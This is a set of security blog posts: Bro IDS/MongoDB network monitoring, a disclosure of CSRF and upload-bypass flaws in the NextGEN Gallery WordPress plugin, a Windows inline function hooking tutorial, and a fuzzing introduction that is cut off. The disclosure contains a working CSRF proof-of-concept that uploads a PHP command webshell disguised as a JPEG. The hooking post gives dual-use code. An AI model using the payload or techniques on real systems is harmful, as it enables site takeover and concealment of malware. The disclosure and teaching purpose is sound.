Network Security Monitoring With Bro IDS, TCPDump And MongoDB

Bro IDS is a powerful open source network security monitoring framework which I have had the opportunity to experiment with on a network monitoring server. It can log metadata for well known protocols such as HTTP, DNS and SMTP, as well as extract files it sees being transferred in these protocols. It logs all its results to CSV files and provides a useful tool called ‘bro-cut’ to enable analysts to search through these results. Bro-cut is a great tool but I wanted to store my data in MongoDB to enable useful queries to be run regularly and also so a Graphical User Interface (GUI) could be built on top of it. I also wanted full packet capture to be stored so I could trace any suspicious files or events back to the network activity that created it.

Why MongoDB?

  •  At this stage, I’m not sure  what data I want going into the database, so creating database schemas at this point may prove to be wasted effort, as I may have to modify or delete them in the future.
  • I have a lot of different inputs for the database which I don’t want to write database schemas for.
  • If I add new inputs to the database, minimum effort should be required.
  • All data stored in one database reduces dependencies and complexity.
  • We can consolidate all the Bro data in one place rather than having different files for each day which we would have to append to each other to use with bro-cut.
  • It should be possible to add more database servers if the need should arise due to MongoDB’s scalability.

Packet Capture
Full packet capture is useful when investigating incidents within the network. TCPdump can sniff packets and write them to disk. Another useful option for TCPdump is the ability to rotate the log file when it reaches a certain size and specify a post capture script to run when this rotation occurs. The below command will rotate the log file when it reaches 256 MB and then call post_capture.py:

[cpp]
tcpdump -i eth1 -s0 -nn -C 256 -w ‘/pcap/nettitude.pcap’ -z
/opt/nettitude/capture/post_capture.py  -Z root
[/cpp]

The post capture script basically generates some metadata about the pcap file (path, start and end times, size, duration, number of packets) and then inserts them into MongoDB.

Metadata extraction
Bro logs metadata in CSV files by default but we can set it to log to files in JSON format by moving by:

[cpp]
$BRO_INSTALL/share/bro/policy/tuning/json-logs.bro to
$BRO_INSTALL/share/bro/policy/tuning/defaults/json-logs.bro
[/cpp]

As with the snort logs, we can set up a script to watch the bro log directory and insert any JSON files created into MongoDB. This is easy to do since MongoDB basically stores JSON documents, and can be achieved with various programming languages. My choice is python and I use the pymongo library to import the data:

[cpp]
#!/usr/bin/python
import json
import pymongo
import sys</pre>
file = sys.argv[1]
colname = sys.argv[2]
client = pymongo.MongoClient(‘localhost’)
db = client[‘nettitude’]
collection = db[colname]
with open(file) as f:
for line in f.readlines():
collection.insert(json.loads(line))
[/cpp]

Once the data is in the database we can perform queries in mongo shell to get useful information. For example, the below query will list the top 20 recognised services observed.

[cpp]
sam@broserver:~$ mongo nettitude
MongoDB shell version: 2.6.7
db.conn.aggregate([
 {$match: {‘service’: { $ne: null }}},
 {$group: {‘_id’: ‘$service’,’sum’: { $sum: 1 }}},
 {$sort: {‘sum’: -1}},
 {$limit: 20}
])
[/cpp]

File Extraction
By default, Bro will only extract executables but you can change this by editing the Bro file extraction script located at $BRO_INSTALL/share/bro/file-extraction/extract.bro (In the below file you can see that I have enabled PDF and EXE extraction)

Figure 1

Figure 1

From here on you can set up another script to analyse these files when they are created.

Tracing the file origin
Say, for example, you may have analysed a suspicious file which Bro has extracted to HTTP-FEUq8i13A67Tp9VYw3.exe, we can use mongo shell to retrieve all the metadata and packet capture that relates to this file since its protocol and unique file ID (highlighted in red) are saved in the file name.

[cpp]
sam@broserver:~$ mongo nettitude
MongoDB shell version: 2.6.7
connecting to: nettitude
> db.files.findOne({fuid: ‘FEUq8i13A67Tp9VYw3’})
{
"_id" : ObjectId("5506d64d9ba3842590777d8e"),
"rx_hosts" : [
"1.1.1.1"
],
"tx_hosts" : [
"2.2.2.2"
],
"fuid" : "FEUq8i13A67Tp9VYw3",
"total_bytes" : 4171576,
"is_orig" : false,
"duration" : 8.225032,
"source" : "HTTP",
"analyzers" : [
"MD5",
"SHA1",
"EXTRACT"
],
"ts" : ISODate("2015-03-16T12:24:14.094Z"),
"filename" : "filename.exe",
"extracted" : "/bro/extracted/HTTP-FEUq8i13A67Tp9VYw3.exe",
"mime_type" : "application/x-dosexec",
"conn_uids" : [
"CKyCfA4l20KKnMr7n1"
],
"timedout" : false,
"local_orig" : false,
"missing_bytes" : 0,
"seen_bytes" : 4171576,
"md5" : "824f7ba4e6a1f56e1c70b835af43c301",
"sha1" : "1c7ac412d3bb2bd3ecf24c6f86a80ed3d48732cf",
"depth" : 0,
"overflow_bytes" : 0
}
> db.http.findOne({uid: "CKyCfA4l20KKnMr7n1"})
{
"_id" : ObjectId("5506d6449ba3842558e446f3"),
"id_resp_h" : "2.2.2.2",
"uid" : "CKyCfA4l20KKnMr7n1",
"status_code" : 200,
"orig_mime_types" : [
"text/plain"
],
"id_resp_p" : 80,
"trans_depth" : 1,
"request_body_len" : 68,
"orig_fuids" : [
"FcwBwWZxEVOsTsScc"
],
"ts" : ISODate("2015-03-16T12:24:13.736Z"),
"resp_mime_types" : [
"application/x-dosexec"
],
"method" : "GET",
"id_orig_h" : "1.1.1.1",
"tags" : [ ],
"resp_fuids" : [
"FEUq8i13A67Tp9VYw3"
],
"response_body_len" : 4171576,
"host" : "www.website.com",
"id_orig_p" : 23056,
"status_msg" : "OK",
"uri" : "/filename.exe",
"user_agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36",
"referrer" : "https://www.nettitude.com/"
}
> db.conn.findOne({uid: "CKyCfA4l20KKnMr7n1"})
{
"_id" : ObjectId("5506d6369ba3842512e05e55"),
"resp_bytes" : 4171839 CKyCfA4l20KKnMr7n1,
"uid" : "",
"resp_cc" : "US",
"tunnel_parents" : [ ],
"duration" : 8.786603,
"id_resp_h" : "2.2.2.2",
"id_resp_p" : 80,
"sensorname" : "eth1",
"service" : "http",
"proto" : "tcp",
"resp_pkts" : 3058,
"orig_pkts" : 962,
"ts" : ISODate("2015-03-16T12:24:13.566Z"),
"resp_ip_bytes" : 4334191,
"orig_cc" : "GB",
"id_orig_h" : "1.1.1.1",
"orig_ip_bytes" : 48307,
"local_orig" : true,
"missed_bytes" : 0,
"orig_bytes" : 723,
"id_orig_p" : 23056,
"conn_state" : "SF",
"history" : "ShADadfF"
}
[/cpp]

With the details from the conn collection, we can ascertain the time frame for this connection which allows us to find the pcap file in which the session is stored. The connection started at 2015-03-16T12:24:13.566Z for a duration of 8.78 seconds. It is probably better to add a second or so either side of the date range.

[cpp]
> db.pcap.findOne({sensor: ‘eth1’, start_ts : {$lte :  ISODate("2015-03-16T12:24:12.000Z")},  end_ts : {$gte :  ISODate("2015-03-16T12:24:21.000Z")}})
{
"_id" : "/pcap/2015-03-16/20150316123157.eth1.pcap",
"end_ts" : ISODate("2015-03-16T12:31:57Z"),
"start_ts" : ISODate("2015-03-16T12:22:32Z"),
"num_packets" : "311998",
"file_size" : "256000821 bytes",
"duration" : "565 seconds",
"sensor" : "eth1",
"data_size" : "251008829 bytes"
}
[/cpp]

Now we know the pcap file and source/desination IP addresses and ports, we can quickly create a tpcdump command to view the packets.

[cpp]
tcpdump –nn –r /pcap/2015-03-16/20150316123157.eth1.pcap ‘tcp and src host 1.1.1.1 and src port 23056 and dst host 2.2.2.2 and dst port 80’
[/cpp]

Conclusion
This framework provides a good starting point for network security monitoring and allows us to create additional analysis tools on top of it, for example, automatic report generation, dashboard style GUIs or advanced querying.

 

To contact Nettitude’s editor, please contact media@nettitude.com.

 

CSRF And Unsafe Arbitrary File Upload In NextGEN Gallery Plugin (2.0.77.0) For WordPress

1      Introduction

Please note the vulnerability detailed in this blog article was first discovered on Monday 9th March 2015, disclosed and discussed with the company concerned on March 10th and a patch was released on March 12th.

1.1    Versions and CVE

  • Currently tested on NextGEN Gallery >=2.0.77.0 and WordPress 4.1.1
  • CVE-2015-1784 NextGEN Gallery WordPress: file upload bypass
  • CVE-2015-1785 NextGEN Gallery WordPress: CSRF

1.2    Abstract

The NextGEN Gallery plugin for WordPress is the sixth most popular plugin used to date, with over 12 Million users and 100+ extensions.

There are two vulnerabilities which can allow an attacker to gain full access over the web application. The vulnerabilities lie in how the application validates user uploaded files and lack of security measures preventing unwanted HTTP requests.

An average of 20% (2.4 million) of these installs will allow for lower level users (editors and subscribers etc.) to perform image uploads. Some of the extensions provided for the NextGEN Gallery allow for Public file uploading. Around 100,000 users have this extension according to the WordPress app store.

This means that 12 million are vulnerable to CSRF with a webshell, 2.4 million vulnerable to webshell through unsafe file upload and 100,000 vulnerable to unauthenticated unsafe file upload.

1.3    What is Arbitrary File Upload?

Files that can be uploaded to the server can represent a significant risk. The majority of attacks involve getting code onto the server to be attacked, after that the code only needs to be executed. File uploads help an attacker get code onto the server.

The consequences of an unsafe file upload can lead to complete system takeover, access to databases and defacement. It varies on how the server handles uploads, where the files are stored and what the application does.

1.4    What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery is an attack that causes a user’s web browser to perform an unwanted action on a trusted site where a user is currently authenticated. CSRF attacks abuse state changes instead of theft of data or remote code execution as the attacker has no way to see the response of the request.

A CSRF Attack, for example, can force a user into changing their password, transferring funds and in the case of the vulnerabilities talked about in this article, compromise the entire application.

2      Bypassing the upload validation

NextGEN Gallery by default only allows administrators to upload images to the server, however you can allow lower level users such as editors or subscribers to upload images opening a larger attack vector. If a lower level user was given access to the upload function then this could be used in a privilege escalation type attack to gain web shell on the server. In the example below I will show an unsafe file upload leading to webshell via an editor level account.

Upload section

Figure 1 – Upload Section

In the above figure we can see that the file “simpleshell.jpg” has been loaded into the uploader. The file contains a very basic PHP shell. Renaming the extension from .php to .jpg allows us to bypass the first line of defense in the NextGEN plugin, which is by using client side file validation to ensure the file has a valid image extension such as JPG.

After the file has been loaded we need to intercept the request and edit a few parameters to bypass the server side validation of the file.

Figure 2 - Orginal Request

Figure 2 – Original Request

The server side validation checks for file extension, content-type and performs basic file analysis scanning for image headers. As seen in the figure above the request contains a very basic PHP web shell that is passed as an image.

In our edited request below you can see that to bypass the file extension validation “.php” has been appended to the end of the “simpleshell.jpg” file, thus turning this file back into a valid PHP file. The content-type was already stated as “image/jpeg” so that’s fine. Finally, to work around the file analysis a header from a valid JPEG file has been inserted above the PHP script to trick the application into thinking that this is a valid image file.

Figure 3 - Edited Request

Figure 3 – Edited Request

When the request is submitted we are passed an upload message stating that “1 image Upload complete”.

By default, the file path naming convention for NextGEN gallery is as follows: “/wp-content/gallery/[name of gallery]/[name of file]” This path is publically available and viewable as an unauthenticated user.

Figure 4 - Webshell gained

Figure 4 – Webshell gained

 

After browsing to the file and passing the “id” command to the “cmd” parameter the output is displayed on the page, confirming the PHP webshell is working. From this point it is possible to call system commands and invoke reverse shells etc.

3      Cross-site request forgery abusing unsafe file upload

Using the techniques previously stated to bypass the file upload validation it is possible to create a CSRF proof of concept (PoC). The NextGEN gallery does not implement a unique token or nonce to protect against CSRF in the file upload page allowing for unwanted HTTP requests to be made to the authenticated application by the user unknowingly via a malicious link or XSS.

The figure below illustrates the PoC file, we can see that the gallery ID that this webshell will be uploaded to is “youhascsrf” and that the file name will be “shell.jpg.php”. The techniques used to bypass the upload validation demonstrated previously were also used in this PoC.

[cpp]</p>
<p>&lt;html&gt;</p>
<p>&lt;body&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;script&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;function&lt;/em&gt;&lt;/strong&gt; submitRequest&lt;strong&gt;()&lt;/strong&gt;</p>
<p>&lt;strong&gt;{&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; xhr &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; XMLHttpRequest&lt;strong&gt;();&lt;/strong&gt;</p>
<p>xhr.open&lt;strong&gt;(&lt;/strong&gt;&quot;POST&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;http://127.0.0.1/wordpress/?photocrati_ajax=1&amp;action=upload_image&amp;gallery_id=0&amp;gallery_name=youhascsrf&quot;&lt;strong&gt;,&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept-Language&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;en-US,en;q=0.5&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Content-Type&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;multipart/form-data; boundary=—————————11451489371866854212008584&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.withCredentials &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;;&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; body &lt;strong&gt;=&lt;/strong&gt; &quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;name&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;shell.jpgrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.jpg.php&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Type: image/jpegrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;xffxd8xffxe0x00x10JFIFx00x01x02x00x00x01x00x01x00x00xffxfex00x04*x00xffxe2x02x1cICC_PROFILEx00x01x01x00x00x02x0clcmsx02x10x00x00mntrRGB XYZ x07xdcx00x01x00x19x00x03x00)x009acspAPPLx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-</p>
<p>lcmsx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;descx00x00x00xfcx00x00x00^cprtx00x00x01x00x00x00x0bwtptx00x00x01hx00x00x00x14bkptx00x00x01|x00x00x00x14rXYZx00x00x01x90x00x00x00x14gXYZx00x00x01xa4x00x00x00x14bXYZx00x00x01xb8x00x00x00x14rTRCx00x00x01xccx00x00x00@gTRCx00x00x01xccx00x00x00@bTRCx00x00x01xccx00x00x00@descx00x00x00x00x00x00x00x03c2x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00textx00x00x00x00FBx00x00XYZ x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-XYZ x00x00x00x00x00x00x03x16x00x00x033x00x00x02xa4XYZ x00x00x00x00x00x00oxa2x00x008xf5x00x00x03x90XYZ x00x00x00x00x00x00bx99x00x00xb7x85x00x00x18xdaXYZ x00x00x00x00x00x00$xa0x00x00x0fx84x00x00xb6xcfcurvx00x00x00x00x00x00x00x1ax00x00x00xcbx01xc9x03cx05x92x08kx0bxf6x10?x15Qx1b4!xf1)x902x18;x92Fx05Qw]xedkpzx05x89xb1x9a|xacixbf}xd3xc3xe90xffxffxffxdbx00Cx00x04x03x03x04x03x03x04x04x03x04x05x04x04x05x06rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;x3c?phprn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;if(isset($_REQUEST[‘cmd’])){rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   $cmd = ($_REQUEST[&quot;cmd&quot;]);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   system($cmd);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   echo &quot;x3c/prex3e$cmdx3cprex3e&quot;;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   die;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;}rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;?x3ern&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;—————————–11451489371866854212008584–rn&quot;&lt;strong&gt;;&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; aBody &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Uint8Array&lt;strong&gt;(&lt;/strong&gt;body.length&lt;strong&gt;);&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;for&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; i &lt;strong&gt;=&lt;/strong&gt; 0&lt;strong&gt;;&lt;/strong&gt; i &lt;strong&gt;&lt;&lt;/strong&gt; aBody.length&lt;strong&gt;;&lt;/strong&gt; i&lt;strong&gt;++)&lt;/strong&gt;</p>
<p>aBody&lt;strong&gt;[&lt;/strong&gt;i&lt;strong&gt;]&lt;/strong&gt; &lt;strong&gt;=&lt;/strong&gt; body.charCodeAt&lt;strong&gt;(&lt;/strong&gt;i&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.send&lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Blob&lt;strong&gt;([&lt;/strong&gt;aBody&lt;strong&gt;]));&lt;/strong&gt;</p>
<p>&lt;strong&gt;}&lt;/strong&gt;</p>
<p>&lt;/script&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;form action=&lt;strong&gt;&quot;#&quot;&lt;/strong&gt;&gt;</p>
<p>&lt;strong&gt;     &lt;/strong&gt;&lt;input type=&lt;strong&gt;&quot;button&quot;&lt;/strong&gt; value=&lt;strong&gt;&quot;Submit request&quot;&lt;/strong&gt; onclick=&lt;strong&gt;&quot;submitRequest();&quot;&lt;/strong&gt; /&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;/form&gt;</p>
<p>&lt;/body&gt;</p>
<p>&lt;/html&gt;</p>
<p>[/cpp]

If this file was hosted externally and an administrator (or any other user with upload rights) clicked the link and submitted this request then the webshell would be uploaded to the file path “/wp-content/gallery/youhascsrf/shell.jpg.php” and then be publically available without the user’s knowledge. In the figure below, we can see that an admin is logged into a WordPress installation with the NextGEN Gallery plugin activated.

Figure 5 - Admin WordPress dash

Figure 5 – Admin WordPress dash

 

As we can see there are currently no galleries present on this application.

figure 6 - No galleries

Figure 6 – No Galleries

 

Figure 7 - CSRF PoC loaded in browser

Figure 7- CSRF PoC loaded in browser

 

As this is just a PoC, the attack will trigger when the “submit request” button is clicked, however, in a real world situation this request would be submitted asynchronously without the users’ knowledge. After clicking the “submit request” button we can now see that the gallery has been created and the webshell is present.

Figure 8 - Webshell now present

Figure 8 – Webshell now present

In the figure below the “Id” command is send to the webshell and we have system access.

Figure 9 - System commands executed

Figure 9 – System commands executed

 

 

To contact Nettitude’s editor, please email media@nettitude.com.

Windows Inline Function Hooking

Hooking can be used by legitimate software for reverse engineering, for example, to examine the user mode function calls that a malicious program is making.

It can also be used by a malicious program to hide certain aspects of itself.  For example, malware might try and install a hook into Windows API functions, which list files in Windows such as FindFirstFile and FindNextFile.  When a particular file used by the malware is found by one of these functions, the malware hook code can change how the function works so that it skips over it to the next file, thus hiding the file from Windows Explorer.

How Does A Function Hook Work?

A function hook usually has three parts:

  1. A piece of redirection code overwrites part of the target function which will redirect any calls to it, into a callback function in our code
  2.  The callback is the second part and informs us that the target function was called. This is the main part of the hook; the part that allows us to change the behaviour of the target function or log the information passed into the target function.
  3.  The final part is commonly called a trampoline, since it bounces us back into the target function, as if nothing ever happened. The trampoline is created by the hooking code and holds a copy of part of the hooked function we overwrote initially.  The trampoline also contains some code to redirect execution back into to the hooked function just after the code we overwrote.
Windows Function Hook

Windows Function Hook

Function Hooking

Unfortunately, hooking is quite low level, so we’re going to have to get our hands dirty and do some work at the assembly level.

Hooking a function involves several steps:

  •  Place our hooking code inside the target process: One way of doing this is to inject our code as a DLL.  More information on DLL injection can be found in my previous blog posts on DLL injection
  •  Find the address of the function that we want to hook: If it’s a windows API function or a function exported by a DLL that is loaded in the target process, then we can use GetProcAddress
  •  Construct a trampoline, copy and then overwrite the instructions at the start of the target function with a jump to the hook callback

In 32bit applications, we can use a relative jump near instruction “JMP”  which can be used to jump or move the current instruction pointer (EIP) backwards or forwards in memory by up to 2GB.

If, for example, our target callback is 70000 bytes in front of the function (0x11170 in hex) the instruction would be:

[cpp]
JMP 0x1116B
[/cpp]

The actual byte level representation of this in memory would be as follows:

[cpp]
0xE9 0x6B 0x11 0x01 0x00
[/cpp]

The jump instruction in this format requires five bytes.  Note that we have also taken into account these 5 bytes used in the JMP instruction making the jump offset actually five bytes less than 70000, which is 0x1116B in hex.  The address specified in the JMP call is always relative to the end of the JMP instruction.

So to install our hook, we need to overwrite five bytes of the start of the target function with a JMP.  Except it’s not quite that simple…

Intel instructions are variable length, so we also need to make sure that we first copy any whole instructions that may be overwritten in the target function.  This involves disassembling the instructions of the target function until we have disassembled enough code to contain our 5 bytes.

For example, here is the disassembly of the prologue of the Windows API function RegSetValueExW:

[cpp]
_RegSetValueExW@24:
push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75


[/cpp]

The code bytes are on the right hand side.  It can be seen that if we overwrote 5 bytes we would overwrite into the middle of the second push instruction.  Disassembling this shows us that we need to copy 7 bytes into the trampoline to capture whole instructions and then pad out the JMP instruction we insert with two NOP instructions, which are 1 byte each.   The hooked RegSetValueExW would look like this after it was hooked.

[cpp]
_RegSetValueExW@24:
jmp         1234567h        E9 67 45 23 01
nop                         90
nop                         90


[/cpp]

To do this we could write our own disassembler, or use something like BeaEngine or Udis86 both open source disassembler implementations.

Now we’ve hooked the function and copied the original code into our trampoline, we need to set the trampoline to jump back into to the target function just after our inserted JMP instruction.

[cpp]
Trampoline:
push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75
jmp         <address of instruction after JMP>

[/cpp]

If we don’t want to use a JMP for this and calculate a relative offset, we can potentially push a value onto the stack and use RET to return directly to that address.

Hot Patching

Some components of Windows, for example, Kernel32.dll have been built by Microsoft with hot patching enabled .  What this means is that some space has been left for inserting a jmp instruction in order to patch the code at runtime to jump to an updated version of the function.  In some cases it may be possible to use this hot patch area to contain our hook.

For example, here is the disassembly of GetProcAddress in Kernel32.dll and some of the surrounding code:

[cpp]
nop                    90
nop                    90
nop                    90
nop                    90
nop                    90
_GetProcAddressStub@8:
mov         edi,edi    8B FF
push        ebp        55
mov         ebp,esp    8B EC
pop         ebp        5D

[/cpp]

Notice that the first instruction is MOV EDI, EDI which is essentially a NOP.  Also notice that the five code bytes before the function are all NOP instructions.

We can hook this by first changing the MOV EDI, EDI instruction to a short relative JMP which takes only two bytes and jump backwards to the start of the NOP instructions, which is 5 bytes away.  Taking into account the instruction length of the JMP it will be 7 bytes, so -7 bytes which is 0xFB in hex:

[cpp]
nop                    90
nop                    90
nop                    90
nop                    90
nop                    90
_GetProcAddressStub@8:
jmp         fbh        EB FB
push        ebp        55
mov         ebp,esp    8B EC
pop         ebp        5D

[/cpp]

Now we can just replace the five NOP instructions with a near JMP relative as before.

It would be quite simple to check for this pattern when hooking functions and take advantage of this hot patch area if it exists.

64Bit Function Hooking

On x64 platforms, the same hooking technique can be used.  It only works however if the callback function and trampoline are within 2GB distance of the hooked function as the jump instruction can only take a jump offset operand that uses 32 bits.

Using the VirtualQuery API call free memory blocks can be located within 2GB of the target function and then a redirection stub can be placed here which uses a longer format jump to reach the user function.

[cpp]
UINT_PTR currentAddress = (UINT_PTR )pTargetFunctionAddress + TWO_GB;
MEMORY_BASIC_INFORMATION memInfo = { 0 };
PVOID pTrampoline = NULL;

do
{
if (VirtualQuery((LPVOID)currentAddress, &memInfo, trampolineSize))
{
if (memInfo.State == MEM_FREE)
{
pTrampoline = VirtualAlloc((LPVOID)currentAddress,
trampolineSize,
MEM_RESERVE |
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
}
}

currentAddress -= PAGE_SIZE;

} while (pTrampoline == NULL &&
(UINT_PTR)pTargetFunctionAddress < currentAddress);
[/cpp]

For the trampoline and redirection stub, we would need a non-relative jump so that the user function which calls the trampoline can reside anywhere in the addressable range.  One possible option for constructing a longer jump is to push a 64bit address onto the stack and use a RET instruction to return to the target address.

We can push a 64 bit address directly by making use of a register, we first save the register on the stack and then put our return address into it.  Then we can exchange the register and the stack location to restore the previous register state before returning:

[cpp]
push rax                                50
movabs rax,0xAAAAAAAAAAAAAAAA           48 b8 AA AA AA AA AA AA AA AA
xchg QWORD PTR [rsp],rax                48 87 04 24
ret
[/cpp]

Another possibility, detailed by Nikolay Igotti pushes a 32 bit immediate value onto the stack the lower part of the address, this type of push instruction actually reserves 64 bits on the stack in order to preserve alignment.  Then remaining 32bits of the address can be moved into the additional stack space reserved by the push instruction.   Finally RET is called which will pop the value from the stack and jump to the address:

[cpp]
push 0xAAAAAAAAA                        68 AA AA AA AA
mov DWORD PTR [rsp+0x4],0xBBBBBBBB      c7 44 24 04 BB BB BB BB
ret
[/cpp]

The advantage with Nikolay’s method is that it uses only 14 bytes and can be reduced further if we know the target address is in a 4GB range since the top half of the address wouldn’t need to be written in that case.

This longer jump could be used to jump to the user function, however it is easier to try and first allocate some memory for a redirector stub within 2Gb of the target function as the target function may contain a relative jump instruction in the bytes that are copied to the trampoline.  This would then need to be “fixed up” to jump to the correct location which could be problematic.

NIkolay's-Hook-Method

 Int 3 Hooking Method

Another method which could be used for hooking, is to place an “int 3” break instruction into the code instead of a jmp instruction.   This will cause an exception to be raised when the int 3 instruction is executed.

If we install a vectored exception handler using the windows API call AddVectoredExceptionHandler we can trap the exception before any other exception handler, and move execution to a user callback function:

[cpp]
PVOID WINAPI AddVectoredExceptionHandler(
_In_  ULONG FirstHandler,
_In_  PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
[/cpp]

This method has the benefit of only requiring only a single byte to be replaced in the target as int 3 is a single byte instruction.  For example, hooking RegSetValueExW as in the previous examples:

[cpp]
_RegSetValueExW@24:
push        28h             6A 28
push        75835CC0h       68 C0 5C 83 75


[/cpp]

The downside to this method is that the target program, or debugger could add its own vectored exception handler, which may be called before ours and may not pass the exception to our own handler.   The result could be a program crash.

[cpp]
_RegSetValueExW@24:
int 3                       CC
nop                         90
push        75835CC0h       68 C0 5C 83 75

[/cpp]

Other Considerations

  •  As briefly mentioned earlier, if the function prologue code contains a relative JMP instruction that we will overwrite, simply copying this to the trampoline function will not work since the copied JMP will then be jumping relative to the trampoline and not the original function. In this case it may be necessary to re-calculate the jump offset in the copied function prologue if possible
  • Some functions may consist of less than five bytes of executable code, for example the following code, while not particularly useful is still a valid function:

[cpp]
nop                                     90
ret                                     c3
[/cpp]

Int3 hooking could be used to hook this, or if hot patching is enabled that area could be used.  It’s also possible to use IAT hooking, which will be discussed in an additional blog post.

  • A target function may have already been hooked – we could check for this by examining the code that resides on disc and comparing it to the function in memory. If a difference is found, the original hook could first be removed by copying the code from disc then our new hook can be added.  Although removing someone else’s hook may cause errors if they attempts to remove it at a later date after we have already overwritten it.  Also bear in mind that if you’re dealing with a malicious program, it may be returning the incorrect data from disc in order to hide its hook
  • Threads may be running in the target process that are calling functions as you’re patching them, so it would be wise to suspend all other threads in a process before implanting the hook and resume them afterwards
  • VirtualAlloc, VirtualFree, VirtualProtect and VirtualQuery API calls as well as the memcpy API call will most likely be used internally by any hooking engine. If these are to be hooked by the user, then it may be necessary to make a copy of these functions in memory, or have special handling code for these if the user attempts to hook them.  The memcpy function can usually be replaced by a compiler intrinsic such as __movsb.

Click here to download the Function Hooking source code.

 

To contact Nettitude’s editor, please email media@nettitude.com.

Vulnerability Discovery Via 'Fuzzing'

Why would you fuzz? People fuzz for many reasons, depending on the industry they are in, from reliable assurance through to testing and validation. In security research, our primary goal is to discover potential vulnerabilities or weaknesses. Fuzzing allows us do this in an automated, if not somewhat less rigorous, manner. This is the first of two entries reviewing fuzzing techniques and tools. The first gives an overview of what fuzzing actually is, while the second will further review some real-world fuzzing tools.

What makes a vulnerability

In a simplistic model, a typical software application can be described as a collection of blocks. Each block is designed to take an input, process it and provide an output. These blocks work together to produce the behaviours that make the application do whatever it is the application is meant to do.

There are many limitations and intricacies to be aware of when creating these blocks of logic and often these can be overlooked. Due to this, irregular input can result in behaviours that the original developer Fuzzingdid not expect. As the result of these behaviours propagates to other blocks that were not originally designed to accept these values new, unplanned scenarios are played out in the software which often result in the application entering a state in which it cannot continue, and ultimately crashes.

 

Sometimes this is the end of the matter. Sometimes however, with enough knowledge, it is possible to steer these new stories in a manner which makes the software do something entirely counter to the applications’ original goals. This is where vulnerabilities are born.

